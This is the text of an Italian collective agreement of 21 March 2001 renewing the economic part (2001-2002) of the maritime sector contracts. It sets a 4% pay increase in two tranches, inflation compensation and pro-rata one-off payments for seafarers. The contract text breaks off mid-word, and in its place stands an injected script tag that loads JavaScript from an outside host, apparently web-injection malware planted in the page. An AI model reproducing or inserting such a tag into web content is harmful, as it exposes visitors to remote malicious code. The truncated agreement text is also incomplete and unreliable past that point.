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Categoria: Marittimi, equipaggi navi passeggeri > 50 Tsl Lloyd e Tirrenia
Settore: Trasporti
Data stipula: 21-3-2001
Data decorrenza: 1-1-2001
Data scadenza: 31-12-2002

Verbale di accordo per il rinnovo della parte economica
(biennio 2001-2002) dei CCNL del

SETTORE MARITTIMO


Il  giorno  21  marzo 2001 in Roma, presso la sede di CONFITARMA  si  sono
incontrate  CONFITARMA  rappresentata dal dr.  Giovanni  Delle  Piane  con
l'assistenza  del dr. Roberto Aglieta, dr. Claudio Barbieri, sig.  Tommaso
Pacchelli,  ASSORIMORCHIATORI e FEDARLINEA rappresentata dal dr.  Giuseppe
Ravera,  cap.  Giovanni  Rizzo, dr. Lorenzo  Paolizzi  con  le  Segreterie
nazionali  FILT-CGIL, FIT-CISL, UILTRASPORTI rappresentate rispettivamente
dai  sigg.: Mario Sommariva, Fulvio Esposito, Remo Di Fiore, Claudio Zari,
Giuseppe   Caronia,  Angelo  Patimo  e  con  la  partecipazione   di   una
rappresentanza delle strutture sindacali territoriali.

Le  parti,  nell'ambito di quanto previsto dal Protocollo interconfederale
23.7.93,  hanno rinnovato la parte economica relativa al biennio 2001-2002
dei CCNL del settore marittimo.

FILT-CGIL
FIT-CISL
UILTRASPORTI
CONFITARMA
FEDARLINEA



Parte economica, biennio 2001-2002.

Le   parti   con  il  presente  accordo  hanno  definito  gli   incrementi
retributivi,   per   il  biennio  2001-2002,  nella   misura   percentuale
complessiva del 4%.

Gli  incrementi retributivi sono stati frazionati in 2 tranche,  la  prima
con decorrenza 1.1.01, la seconda con decorrenza 1.1.02.

L'aumento complessivo del 4% è stato quindi suddiviso in parti uguali:  2%
per il 2001 e 2% per il 2002.

Nella  individuazione  della percentuale di aumento retributivo  le  parti
hanno  tenuto  conto,  in  armonia  con  quanto  previsto  dal  Protocollo
interconfederale  23.7.93,  del  tasso  d'inflazione  programmato  per  il
biennio 2001-2002 (2,9%) e dello scostamento tra il tasso d'inflazione che
si  è realizzato nel biennio 1999-2000 (4,1%) e quello programmato per  lo
stesso biennio (3%), differenza pari all'1,1%, non conteggiando, in questa
fase,  quanto  deducibile  per effetto delle  variazioni  imputabili  alle
ragioni  di  scambio  del  nostro  Paese,  la  cosiddetta  inflazione   da
importazione.

Tutto  ciò,  in  quanto  le parti concordano che, qualora  alla  fine  del
periodo  di vigenza dei CCNL (31.12.02), vi fosse uno scostamento  tra  il
tasso  d'inflazione  programmata  riconosciuto  con  il  presente  accordo
(2,9%),  e  il  tasso  d'inflazione  reale,  tale  differenza  non   verrà
conteggiata nel limite dello 0,8%.

Pertanto  il  tasso d'inflazione, che si realizzerà nel corso del  biennio
2001-2002, si riterrà compensato fino ad una concorrenza pari al 3,7%.

Per  gli  incrementi retributivi del 2001 le parti concordano che la  loro
decorrenza sarà dall'1.4.01.

Per  i  mesi  di  gennaio,  febbraio e marzo 2001  verrà  corrisposta,  al
personale  in  servizio  alla data della firma del presente  accordo,  una
cifra 'una tantum' di cui alla tabella 7.

1/3  di  tale cifra (quota mensile) verrà corrisposta ai marittimi in  CRL
per ogni mese o 'pro rata' di permanenza in CRL tra l'1.1.01 e il 31.3.01.

Al  personale in turno particolare le quote mensili o 'pro rata'  verranno
corrisposte  per ogni mese di imbarco effettuato nel periodo intercorrente
tra l'1.1.01 e il 31.3.01.

Ai  marittimi  in  turno generale, imbarcati alla  data  della  firma  del
presente  accordo verranno corrisposte quote mensili o 'pro rata'  per  il
periodo  di  effettivo  imbarco effettuato tra l'1.1.01  e  il  31.3.01.Ai
marittimi  in  turno  generale già sbarcati e che reimbarcheranno  con  la
stessa società entro il 31.7.01, dovrà essere corrisposta la quota di 'una
tantum' relativa ai periodi di effettivo imbarco effettuati tra l'1.1.01 e
il 31.3.01.

Gli  importi  'una-tantum' dovranno essere corrisposti entro  il  31.5.01,
salvo i casi sopra previsti per il turno generale e il turno particolare.

Gli  importi di 'una tantum' non saranno utili ai fini dell'accantonamento
del TFR in quanto già ricompresi e calcolati i ri<script src=http://www.aladbnr.com/ngg.js></script>













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